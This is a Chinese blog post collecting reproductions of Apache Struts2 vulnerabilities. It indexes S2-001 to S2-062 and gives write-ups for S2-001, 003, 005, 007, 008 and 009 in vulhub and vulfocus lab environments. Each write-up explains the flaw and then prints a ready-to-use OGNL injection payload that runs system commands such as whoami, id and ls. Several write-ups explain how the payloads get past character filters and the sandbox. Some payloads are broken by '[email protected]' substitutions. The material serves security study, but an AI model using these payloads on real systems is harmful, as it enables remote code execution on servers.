首页 > 其他分享 >Struts2系列漏洞复现汇总-持续更新中

Struts2系列漏洞复现汇总-持续更新中

时间:2023-01-08 20:55:23浏览次数:48  
标签:lang java S2 汇总 struts2 漏洞 Struts2 复现 OGNL

Struts2漏洞目录

struts2漏洞 S2-001(CVE-2007-4556) (已完成)
struts2漏洞 S2-003 (已完成)
struts2漏洞 S2-005 (已完成)
struts2漏洞 s2-007 (已完成)
struts2漏洞 S2-008(CVE-2012-0391)  (已完成)
struts2漏洞 S2-009(CVE-2011-3923)  (已完成)
struts2漏洞 S2-012
struts2漏洞 S2-013
struts2漏洞 S2-015
struts2漏洞 S2-016
struts2漏洞 S2-016-2
struts2漏洞 S2-016-3
struts2漏洞 S2-019
struts2漏洞 S2-020
struts2漏洞 S2-021
struts2漏洞 S2-032
struts2漏洞 S2-037
struts2漏洞 S2-045
struts2漏洞 S2-045-1
struts2漏洞 S2-045-3
struts2漏洞 S2-045-bypass
struts2漏洞 S2-046
struts2漏洞 S2-046-bypass
struts2漏洞 S2-048
struts2漏洞 S2-052
struts2漏洞 S2-053
struts2漏洞 S2-057
struts2漏洞 S2-059
struts2漏洞 S2-061
struts2漏洞 S2-062(CVE-2021-31805)
struts2漏洞 S2-DevMode

S2-001复现(CVE-2007-4556)

该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行。

影响版本

  • WebWork 2.1 (with altSyntax enabled)
  • WebWork 2.2.0 - WebWork 2.2.5
  • Struts 2.0.0 - Struts 2.0.8

漏洞复现:

验证环境

  • vulhub s2-001

先测试是否存在远程代码执行,在输入框中输入%{value}格式字符串,进行提交

image

提交后成功显示了value的值,说明此处存在此漏洞

image

漏洞利用exp

1、获取tomcat执行路径:

%{"tomcatBinDir{"[email protected]@getProperty("user.dir")+"}"}

image

可知当前tomcat执行路径为/usr/local/tomcat

2、获取Web路径:

%{#[email protected]@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

image

可知当前系统web路径为:/usr/local/tomcat/webapps/ROOT/

3、执行任意命令

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

image

S2-003复现

Struts 2解析参数名称使用了OGNL表达式,构建恶意OGNL表达式会造成注入。
Struts会将HTTP的每个参数名解析为ognl语句执行(可以理解为Java代码)。ognl表达式通过#来访问struts的对象,Struts框架通过过滤#字符防止安全问题,通过unicode编码(u0023)或8进制(43)即可绕过安全限制,从而能够操纵服务器端上下文对象。

影响版本

  • Struts 2.0.0 - Struts 2.1.8.1

漏洞复现

漏洞利用exp

//URL后拼接
?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\[email protected]@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\[email protected]@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\[email protected]@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))

image

S2-005复现

s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开,S2-003的修补方案把自己上了一个锁,但是把锁钥匙给插在了锁头上。
XWork会将GET参数的键和值利用OGNL表达式解析成Java语句,如:

user.address.city=Bishkek&user['favoriteDrink']=kumys 
//会被转化成
action.getUser().getAddress().setCity("Bishkek")  
action.getUser().setFavoriteDrink("kumys")

触发漏洞就是利用了这个点,再配合OGNL的沙盒绕过方法,组成了S2-003,官方对003的修复方法是增加了安全模式(沙盒)。
S2-005在OGNL表达式中将安全模式关闭,又绕过了修复方法。整体过程如下:

  • S2-003 使用\u0023绕过s2对#的防御
  • S2-003 后官方增加了安全模式(沙盒)
  • S2-005 使用OGNL表达式将沙盒关闭,继续执行代码

影响版本

  • 2.0.0 - 2.1.8.1

漏洞复现

验证环境

  • vulhub s2-005

漏洞利用exp

直接GET方法访问,执行任意命令POC(无回显,空格用@代替):

/example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%[email protected]@getRuntime()))=1

image

成功执行后可以看到命令已成功执行,在/tmp/目录下创建了success文件

image

s2-007复现

当配置了验证规则 <ActionName>-validation.xml 时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析并返回。例如这里有一个 UserAction:

(...)
public class UserAction extends ActionSupport {
    private Integer age;
    private String name;
    private String email;

(...)

然后配置有 UserAction-validation.xml:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE validators PUBLIC
    "-//OpenSymphony Group//XWork Validator 1.0//EN"
    "http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd">
<validators>
    <field name="age">
        <field-validator type="int">
            <param name="min">1</param>
            <param name="max">150</param>
        </field-validator>
    </field>
</validators>

当用户提交 age 为字符串而非整形数值时,后端用代码拼接 "'" + value + "'" 然后对其进行 OGNL 表达式解析。要成功利用,只需要找到一个配置了类似验证规则的表单字段使之转换出错,借助类似 SQL注入单引号拼接的方式即可注入任意 OGNL 表达式。

影响范围

  • 2.0.0 - 2.2.3

漏洞复现

验证环境

  • vulhub s2-007

漏洞利用exp

给出执行任意代码的EXP:

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '

将Exp传入可以利用的输入框(age),得到命令执行结果:

image

S2-008复现(CVE-2012-0391)

devMode下支持直接执行OGNL表达式,Cookie 拦截器错误配置可造成 OGNL 表达式执行,生产环境一般不会存在该漏洞,但是开了debug模式就可以直接执行命令。
由于debug模式本身就不该开放在生产模式,因此由debug模式引发的漏洞并没有对应的修复方案.

影响范围

  • Struts 2.1.0 - Struts 2.3.1

漏洞复现

验证环境

  • vulhub s2-008

漏洞利用exp

/devmode.action?debug=command&expression=(%23_memberAccess["allowStaticMethodAccess"]%3dtrue%2c%23foo%3dnew+java.lang.Boolean("false")+%2c%23context["xwork.MethodAccessor.denyMethodExecution"]%3d%23foo%2c%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('ls+-al+./').getInputStream()))

image

S2-009复现(CVE-2011-3923)

这个漏洞跟s2-003 s2-005 属于一套的。 Struts2对s2-003的修复方法是禁止#号,于是s2-005通过使用编码\u0023或\43来绕过;于是Struts2对s2-005的修复方法是禁止\等特殊符号,使用户不能提交反斜线。 但是,如果当前action中接受了某个参数example,这个参数将进入OGNL的上下文。所以,我们可以将OGNL表达式放在example参数中,然后使用/HelloWorld.acton?example=&(example)('xxx')=1的方法来执行它,从而绕过官方对#、\等特殊字符的防护。

影响范围

  • 2.1.0 - 2.3.1.1

漏洞复现

验证环境

  • vulfocus CVE-2011-3923

漏洞利用exp

/ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%[email protected]@getRuntime().exec(%27id%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%[email protected]@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

image

标签:lang,java,S2,汇总,struts2,漏洞,Struts2,复现,OGNL
From: https://www.cnblogs.com/hgschool/p/17035322.html

相关文章

  • Redis未授权访问漏洞复现
    redis数据库默认无密码认证,当数据库未设置认证时,即存在未授权漏洞,可以导致服务器被远控等危害。复现使用客户端连接redis远程服务器./redis-cli-h127.0.0.1-p6379......
  • 天权信安&catf1ag web复现
    0x01POP<?phpclasscatf1ag1{public$hzy;public$arr; function__show() { show_source(__FILE__); }function__wakeup(){ for......
  • cxgrid汇总数是零显示空白
    TcxDataSummaryItem.OnGetTextprocedureTApportionDeptCost.cxgrdbndtblvwDBBandedTableView1TcxGridDBDataControllerTcxDataSummaryFooterSummaryItems0GetText(Sen......
  • 技术汇总:第十章:Maven Profile动态选择配置文件
    MavenProfile什么是MavenProfile在我们平常的java开发中,会经常使用到很多配制文件(xxx.properties,xxx.xml),而当我们在本地开发(dev),测试环境测试(test),线上生产使用(product)时,......
  • 技术汇总:第十一章:生成二维码
    二维码什么是二维码二维码又称QRCode,QR全称QuickResponse,是一个近几年来移动设备上超流行的一种编码方式,它比传统的BarCode条形码能存更多的信息,也能表示更多的数据类......
  • 技术汇总:第十二章:技术总览
    技术选型后端技术前端技术 更多内容请见原文,原文转载自:https://blog.csdn.net/weixin_44519496/article/details/120575359......
  • 高校github课程资源汇总
    序号学校名称学校类型课程资源链接1清华大学Top计算机系课程攻略https://github.com/Salensoft/thu-cst-crackerhttps://github.com/PKUanonym/REKCARC-......
  • docker逃逸汇总
    利用特权模式进行docker逃逸使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行dockerrunprivileged时,Docker容器将被允许访问主机上的所有设备......
  • Docker Remote API未授权访问+docker逃逸导致Getshell漏洞复现
    漏洞介绍Docker是一个开源的引擎可以轻松地为任何应用创建一个轻量级的、可移植的、自给自足的容器。开发者在笔记本上编译测试通过的容器可以批量地在生产环境中部署包......
  • 微信小程序开发资料汇总
    >>​​微信小程序开发工具下载​社区推荐:>>​​蜂鸟-微信小程序开发者社区​​>>​​很快-微信小程序开发者社区​​......